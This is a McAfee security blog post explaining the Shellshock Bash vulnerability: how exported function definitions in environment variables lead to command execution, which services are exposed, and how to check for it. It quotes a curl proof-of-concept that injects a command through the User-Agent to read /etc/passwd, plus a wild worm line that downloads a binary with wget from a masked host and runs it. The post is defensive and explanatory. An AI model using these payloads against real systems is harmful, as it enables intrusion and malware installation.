By Brad Antoniewicz and Raj Samani
Headlines across multiple media outlets are sounding the alarm on a new vulnerability affecting Linux and Unix systems. Nicknamed “Shellshock,” the vulnerability is said by some to have wider reach and impact than the recent Heartbleed vulnerability in April that, by some estimates, affected over million Internet-accessible systems. For a further high level overview, visit Intel Security CTO, Mike Fey’s blog here.
What follows is a more technical look inside Shellshock.
Impact
ShellShock can be exploited in various ways depending on how the application handles user-supplied input and interfaces with the operating system. This means that although researchers are releasing code that targets specific software, the underlying fix for everything is to upgrade your version of Bash. As of today, we’ve seen exploits in the wild and proof of concept code demonstrating vulnerabilities in:
- Apache’s mod_cgi and mod_cgid
- OpenSSH (currently only limited exploitable conditions)
- Dhcpcd
- Nginx
- Certain PHP applications
By exploiting this vulnerability, the attacker has the ability to execute commands on the server in the context of the user that the application is running in. For instance, Apache generally runs as a restricted user named “www-data.” While this user often does not have access to the most sensitive data on the system, escalating privileges with this initial foothold on the server is often trivial. The attacker may also try to launch attacks against internally reachable hosts from that compromised host without the need of privileged access. For embedded systems, many times Apache is set to run as root, giving the attacker full control over the system.
Technical detail
To help illustrate the technical details of the vulnerability, let’s look at one of the early proof of concepts affecting Apache’s mod_cgid. Here, the attacker leverages “curl,” a command line utility that can be used to interact with web servers, to retrieve the content of the /etc/passwd file.
curl -A ‘() { :; };echo;/bin/cat /etc/passwd’ http://target/cgi-bin/test.cgi
curl’s –A option set’s the User-Agent HTTP header, which the attacker defines as the exploit string. This string ultimately gets set on the server in the HTTP_USER_AGENT environment variable:
HTTP_USER_AGENT=() {:;};echo; /bin/cat /etc/passwd
It’s important to note that HTTP_USER_AGENT is not the only environment variable that can be set by the attacker;there are many others available.
Before we dive into the vulnerability, let’s take a second to understand some of the functionality available within Bash.
Bash supports the creation of functions in the shell and those functions can shared with child processes. For instance, if we created a shell function named “MyFunction” which just outputted “Hello” it would look like this:
$ function MyFunction { echo “Hello”; }
To make it available to the environment and future child processes we’ll export it:
$ export -f MyFunction
Now we can call it from where ever we are, even a child bash process:
$ bash -c ‘MyFunction’
The way Bash supports the call from the child is by creating an environment variable using the name of the function. So if we look at the environment variables that are set (using env) We’ll see the entry below, note that Bash indicates that this variable is a function by setting its value to start with “(){“.
MyFunction=() { echo “Hello”
}
Ok, back to the exploit. The vulnerability occurs during the processing of variables containing functions. When Bash sets up the environment for the child process and parses the variables, it reads beyond that of the function (indicated by “}”) and effectively executes any trailing commands.
In our original example the attacker defines the HTTP_USER_AGENT variable as a function by setting it to () {:;} then appends arbitrary commands to exploit the vulnerability.
HTTP_USER_AGENT=() {:;};echo; /bin/cat /etc/passwd
When Bash processes, it sets the HTTP_USER_AGENT variable as a function, then executes whatever after it, giving the attacker command execution on the server.
OpenSSH Impact
As of today, there is no unauthenticated remote exploitation of this vulnerability with OpenSSH. OpenSSH does rely on certain environment variables, but they appear to be only set after authentication, which means an attacker would have to somehow affect the user’s session before authenticating to the server.
For instance, on Ubuntu, OpenSSH is configured to copy only the local environment variables named LANG and ones that start with “LC_”. For an attacker to exploit this, they’d have to be able to set one of these variables in the user’s shell (unlikely), then convince the user to connect to a remote system.
export LC_FS=’() { :; }; echo /usr/bin/id”
ssh user@target
In the Wild
There have already been reports of Worms that exploit this vulnerability and various submissions to online malware sites such as VirusTotal.
The sample with most visibility leverages the wget utility to download a malicious binary which has functionality for brute forcing SSH accounts, flooding, and facilitating command and control.
wget.-O./tmp/besh.http://x.x.x.x/nginx;.chmod.777./tmp/besh;./tmp/besh;
Am I Vulnerable?
An easy way to check if the version of Bash you’re running is affected is by launching a shell, setting an environment variable, then spawning a child process. This can be achieved with:
$ env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”
If the system is vulnerable you’ll see:
vulnerable
this is a test
In order to detect vulnerable systems across multiple systems, a manual check may not be the most efficient approach. Subsequently McAfee Vulnerability Manager (MVM) can be used to scan systems in order to identify those systems that are vulnerable.
McAfee Product Coverage:
For McAfee Product Coverage we advise reading the McAfee Labs Security Advisories posted to the McAfee Community. If you are not already subscribed to the McAfee Labs Security Advisories, we recommend that you sign up for this free service.
Please also follow the McAfee social media channels (Twitter @McAfee_Labs) for access to the latest resources and advice into this and other threats. Also the authors for this blog post can be found @brad_anton and @Raj_Samani.
The post Dealing with the Bash Bug appeared first on McAfee.